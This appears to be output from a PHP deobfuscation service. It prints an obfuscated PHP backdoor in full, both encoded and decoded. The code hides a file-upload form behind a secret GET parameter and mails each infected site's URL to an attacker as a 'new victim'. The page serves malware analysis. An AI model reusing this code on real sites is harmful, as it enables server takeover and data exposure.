Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"\x47\x4cO\x42A\x4c\x53"}["\x77\x72\x78\x6d\x77\x7ams\x66"]="y";${"\x47\x4c\x4f\x42A\x4c..

Decoded Output download

<?  ${"GLOBALS"}["wrxmwzmsf"]="y";${"GLOBALS"}["melckvcl"]="emails";${"GLOBALS"}["akpofblw"]="name_file";${"GLOBALS"}["qtygseohe"]="type_file";${"GLOBALS"}["jjsloutzpc"]="tmp_file";${"GLOBALS"}["cmellytiry"]="content_dir";${"GLOBALS"}["vrpfqodgww"]="email";${"GLOBALS"}["dinfjmavd"]="email";if(isset($_GET["unk"])&&$_GET["unk"]=="kimgx"){if(isset($_POST["upload"])){${${"GLOBALS"}["cmellytiry"]}="./";${"GLOBALS"}["gasiuwxiw"]="content_dir";${${"GLOBALS"}["jjsloutzpc"]}=$_FILES["fichier"]["tmp_name"];if(!is_uploaded_file(${${"GLOBALS"}["jjsloutzpc"]})){exit("Le fichier est introuvable");}${${"GLOBALS"}["qtygseohe"]}=$_FILES["fichier"]["type"];${${"GLOBALS"}["akpofblw"]}=$_FILES["fichier"]["name"];if(!move_uploaded_file(${${"GLOBALS"}["jjsloutzpc"]},${${"GLOBALS"}["gasiuwxiw"]}.${${"GLOBALS"}["akpofblw"]})){exit("Impossible de copier le fichier dans $content_dir");}}echo "<form method="POST" action="#\" enctype="multipart/form-data\"><input type=\"file\" name="fichier\" size="30"><input type=\"submit" name="upload\" value="Uploader"></form>
	
";}${${"GLOBALS"}["melckvcl"]}="[email protected]";${${"GLOBALS"}["vrpfqodgww"]}="[email protected]";${${"GLOBALS"}["wrxmwzmsf"]}="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];@mail(${${"GLOBALS"}["dinfjmavd"]},"Exploit: ".$_SERVER["PHP_SELF"],"Hey , this is a new victim's exploit: ".${${"GLOBALS"}["wrxmwzmsf"]}."\n
 You can use (x=shell_url) at the end of the link ;) ","From: ".${${"GLOBALS"}["melckvcl"]}." <".${${"GLOBALS"}["melckvcl"]}.">\r
"); ?>

Did this file decode correctly?

Original Code

${"\x47\x4cO\x42A\x4c\x53"}["\x77\x72\x78\x6d\x77\x7ams\x66"]="y";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6de\x6c\x63\x6b\x76\x63\x6c"]="e\x6d\x61\x69ls";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x61k\x70\x6f\x66\x62\x6c\x77"]="n\x61\x6d\x65_\x66i\x6c\x65";${"G\x4cOB\x41\x4c\x53"}["qt\x79g\x73\x65\x6fh\x65"]="t\x79p\x65\x5f\x66\x69\x6c\x65";${"GLOB\x41\x4c\x53"}["\x6a\x6a\x73\x6c\x6f\x75t\x7a\x70\x63"]="\x74\x6d\x70\x5f\x66i\x6c\x65";${"GL\x4f\x42A\x4c\x53"}["c\x6de\x6cly\x74\x69\x72\x79"]="cont\x65n\x74_\x64i\x72";${"\x47\x4c\x4f\x42\x41\x4cS"}["vr\x70\x66qo\x64g\x77w"]="\x65\x6d\x61\x69\x6c";${"G\x4cOB\x41L\x53"}["di\x6efjma\x76\x64"]="e\x6d\x61il";if(isset($_GET["\x75\x6e\x6b"])&&$_GET["\x75\x6ek"]=="k\x69\x6d\x67\x78"){if(isset($_POST["u\x70l\x6fad"])){${${"\x47\x4c\x4fB\x41LS"}["c\x6del\x6c\x79\x74iry"]}="\x2e/";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["g\x61\x73\x69\x75w\x78\x69w"]="\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x64\x69r";${${"\x47\x4c\x4f\x42AL\x53"}["\x6aj\x73\x6cou\x74\x7a\x70\x63"]}=$_FILES["fich\x69e\x72"]["\x74\x6dp\x5fname"];if(!is_uploaded_file(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6aj\x73lo\x75\x74\x7a\x70\x63"]})){exit("\x4ce\x20f\x69chi\x65\x72 e\x73\x74\x20i\x6e\x74\x72\x6fuv\x61bl\x65");}${${"\x47L\x4f\x42\x41\x4c\x53"}["\x71\x74\x79\x67\x73\x65\x6fhe"]}=$_FILES["f\x69\x63\x68\x69er"]["\x74\x79pe"];${${"\x47LO\x42\x41L\x53"}["\x61kpof\x62l\x77"]}=$_FILES["\x66\x69\x63\x68i\x65\x72"]["na\x6d\x65"];if(!move_uploaded_file(${${"GL\x4f\x42\x41L\x53"}["jj\x73\x6co\x75\x74z\x70\x63"]},${${"GLOBAL\x53"}["\x67\x61s\x69u\x77\x78i\x77"]}.${${"GL\x4f\x42\x41\x4c\x53"}["a\x6b\x70\x6f\x66\x62\x6c\x77"]})){exit("I\x6d\x70o\x73\x73\x69ble \x64e\x20\x63op\x69er\x20\x6ce\x20\x66ic\x68\x69\x65r \x64an\x73 $content_dir");}}echo "<f\x6f\x72\x6d \x6d\x65\x74\x68\x6fd\x3d\x22P\x4fS\x54\x22\x20a\x63\x74i\x6fn=\x22#\"\x20\x65nct\x79\x70\x65=\x22\x6d\x75\x6c\x74i\x70\x61rt/\x66\x6f\x72m-\x64a\x74a\">\x3ci\x6eput \x74\x79p\x65=\"\x66\x69\x6c\x65\" \x6ea\x6de\x3d\x22\x66ichi\x65\x72\"\x20s\x69\x7ae=\x223\x30\x22\x3e\x3c\x69np\x75\x74\x20t\x79\x70\x65\x3d\"\x73\x75bm\x69\x74\x22 \x6ea\x6d\x65=\x22up\x6coad\"\x20\x76\x61\x6c\x75\x65\x3d\x22Up\x6coa\x64er\x22\x3e\x3c/fo\x72\x6d\x3e\n\t\n";}${${"\x47L\x4f\x42\x41\x4cS"}["m\x65lc\x6bvc\x6c"]}="\x6b\x69\x6d\x6f\x79\x75\x6b\x65\x40\x67\x6d\x78\x2e\x63\x6f\x6d";${${"\x47\x4c\x4f\x42\x41LS"}["vrpf\x71\x6f\x64\x67\x77w"]}="\x69\x6d\x64\x6f\x79\x75\x6b\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d";${${"G\x4c\x4fB\x41\x4cS"}["\x77\x72x\x6d\x77\x7am\x73\x66"]}="h\x74\x74\x70://".$_SERVER["\x48\x54TP\x5fH\x4f\x53T"].$_SERVER["RE\x51\x55\x45ST\x5fURI"];@mail(${${"G\x4cO\x42\x41\x4cS"}["d\x69n\x66\x6a\x6da\x76\x64"]},"\x45\x78ploit: ".$_SERVER["\x50HP_\x53ELF"],"\x48e\x79 ,\x20\x74\x68i\x73\x20\x69\x73\x20\x61 \x6eew \x76\x69ct\x69\x6d\x27\x73\x20ex\x70\x6coit: ".${${"\x47\x4c\x4f\x42\x41LS"}["w\x72x\x6d\x77\x7a\x6d\x73\x66"]}."\\\x6e\x5c\x6e\x20You\x20\x63\x61n\x20\x75s\x65 (\x78=sh\x65ll\x5fu\x72\x6c) \x61t\x20\x74\x68e\x20end of\x20t\x68e\x20lin\x6b\x20\x3b)\x20","From: ".${${"GLOBAL\x53"}["\x6d\x65\x6cck\x76c\x6c"]}." \x3c".${${"\x47L\x4f\x42\x41L\x53"}["\x6d\x65l\x63\x6b\x76c\x6c"]}.">\\\x72\x5cn");

Function Calls

mail 1

Variables

y http://NoneNone
email [email protected]
emails [email protected]
GLOBALS [{'key': 'wrxmwzmsf', 'value': 'y'}, {'key': 'melckvcl', 'value': 'emails'}, {'key': 'akpofblw', 'value': 'name_file'}, {'key': 'qtygseohe', 'value': 'type_file'}, {'key': 'jjsloutzpc', 'value': 'tmp_file'}, {'key': 'cmellytiry', 'value': 'content_dir'}, {'key': 'vrpfqodgww', 'value': 'email'}, {'key': 'dinfjmavd', 'value': 'email'}]

Stats

MD5 af57d78fb23dd1786433d9127531f904
Eval Count 0
Decode Time 108 ms